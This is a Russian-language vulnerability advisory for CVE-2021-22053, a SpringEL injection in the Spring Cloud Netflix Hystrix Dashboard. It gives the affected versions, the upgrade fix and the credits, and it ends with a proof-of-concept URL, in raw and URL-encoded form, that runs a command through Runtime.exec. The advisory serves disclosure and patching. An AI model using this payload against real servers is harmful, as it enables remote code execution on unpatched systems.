spring-cloud-netflix-hystrix-dashboard-cve-2021-22053

CVE-2021-22053: Spring Cloud Netflix Hystrix Dashboard уязвимость разрешения шаблонов

Степень серьезности

Высокая

Поставщик

Spring от VMware

Описание

Приложения, использующие как spring-cloud-netflix-hystrix-dashboard, так и spring-boot-starter-thymeleaf, предоставляют способ выполнения кода, переданного в пути URI запроса во время разрешения шаблонов представлений. Когда запрос отправлен на /hystrix/monitor;[пользовательские данные], элементы пути после hystrix/monitor оцениваются как выражения SpringEL, что может привести к выполнению кода.

Затронутые продукты и версии VMware

Степень серьезности высокая, если не указано иное.

• Spring Cloud Netflix
  • 2.2.0.RELEASE до 2.2.9.RELEASE
  • Более старые, неподдерживаемые версии также затронуты

Устранение

Пользователям затронутых версий следует применить следующее устранение: пользователям следует обновиться до 2.2.10.RELEASE+. Никаких других действий не требуется. Релизы, в которых эта проблема исправлена, включают:

• Spring Cloud Netflix
  • 2.2.10.RELEASE+

Автор

Эта уязвимость была выявлена и ответственно сообщена threedr3am из лаборатории безопасности SecCoder ([email protected]).

Ссылки

https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L

История

2021-11-17: Опубликован первоначальный отчет об уязвимости.

POC

raw:

http://127.0.0.1:8080/hystrix/;a=a/__${T (java.lang.Runtime).getRuntime().exec("open -a calculator")}__::.x/

encode:

http://127.0.0.1:8080/hystrix/;a=a/__$%7BT%20(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22)%7D__::.x/

PS. Символ косой черты '/' не может быть передан в команде.